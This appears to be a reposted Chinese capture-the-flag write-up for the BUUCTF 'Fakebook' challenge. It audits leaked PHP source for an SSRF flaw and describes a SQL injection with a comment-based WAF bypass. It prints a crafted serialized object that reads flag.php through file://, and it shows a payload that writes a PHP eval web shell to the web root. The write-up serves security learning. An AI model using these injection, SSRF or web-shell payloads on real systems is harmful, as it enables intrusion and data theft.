BUUCTF靶场33 -- [网鼎杯 2018]Fakebook

mind

BUUCTF靶场33 -- [网鼎杯 2018]Fakebook

查看页面源代码和请求头均未发现提示等信息。试着在登录框和注册处测试SQL注入，也没有异常。

访问robots.txt，发现网页的备份文件，如下：

[Bash shell] 纯文本查看 复制代码

User-agent: *
Disallow: /user.php.bak

[PHP] 纯文本查看 复制代码

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

审计源码

直接是一个 UserInfo 类，三个属性，get 函数中存在 ssrf，且没有过滤。curl 可用 file 协议，blog 属性调用了 get 函数，所以这里使用 file 协议读取文件。file:///var/www/html/flag.php

正常解题

首先肯定要 join，即注册一个用户并登陆。

注册后发现可以点击自己的 username，点击之后，观察 url (/view.php?no=1)可能存在 get 注入。sqlmap 跑一下。sqlmap 跑不出来，手动检测，是数字型注入。union select 发现有 waf，用 /**/ 即可绕过。union /**/select. 回显位置是第二位，往下注注注。


数据库名：fakebook 表名：users 列名：data ，发现是序列化的数据，可知对我们注册的姓名，年龄，博客地址进行了序列化

union select会触发waf，使用union/**/select可绕过。

可以看到，数据库中存储的是经序列化的数据。前面提到，curl可以使用file://伪协议，网站的报错数据也泄露了路径。因为 blog 在第四位，因此构造序列化后的字符串：
O:8:"UserInfo":3：{s:4:"name";s:3:"aaa";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}


注入后 blog 栏显示 file:///var/www/html/flag.php，此时即代表注册成功。查看源码：
iframe 标签中读取了 flag.php 中的内容。flag 即出现

可以看到已成功读取并查询了我们所构造的序列化字符串。根据PHP源码，最下方的iframe是用来展示我们的blog的，而我们的blog则是通过curl来读取的，因此右键查看页面源代码，找到最下方的iframe标签，点击查看flag.php源码以获取flag。


reference：
https://my.oschina.net/u/4328825/blog/3225144
https://www.abelche.com/2019/07/ ... D%AF-2018-Fakebook/
https://www.cnblogs.com/tiaopidejun/p/12466634.html

acquisition

1.站点的robots.txt处也许也会有提示
2.关于PHP中的curl以及curl可以使用伪协议file:结合ssrf来读取文件


总结思路

核心思路：

• 通过注入发现 data 的数据是序列化的
• 通过后台获取源码，代码审计存在可利用的 ssrf 点
• 结合反序列化和 ssrf，保证 bypass 可以被利用，读取 flag.php 中的 flag
  

知识点

• ssrf
• sql 注入
• 反序列化漏洞
  

创意做法：这个方法就是mysql读写文件，写一句话到网站根目录下。
payload：

[PHP] 纯文本查看 复制代码

0 union/**/select 1,'<?php @eval($_POST["shell"]);?>',3,4 into outfile "/var/www/html/shell.php"

但是没有写文件的权限。

ok!
那就顺着反序列化的思路去找找看，扫描后台发现了flag.php和robots.txt。

————————————————
版权声明：本文为CSDN博主「KpNBtM」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/m0_46246804/article/details/108553351


referer:
    1. https://my.oschina.net/u/4328825/blog/3225144
    2. https://blog.csdn.net/yao_xin_de_yuan/article/details/108351880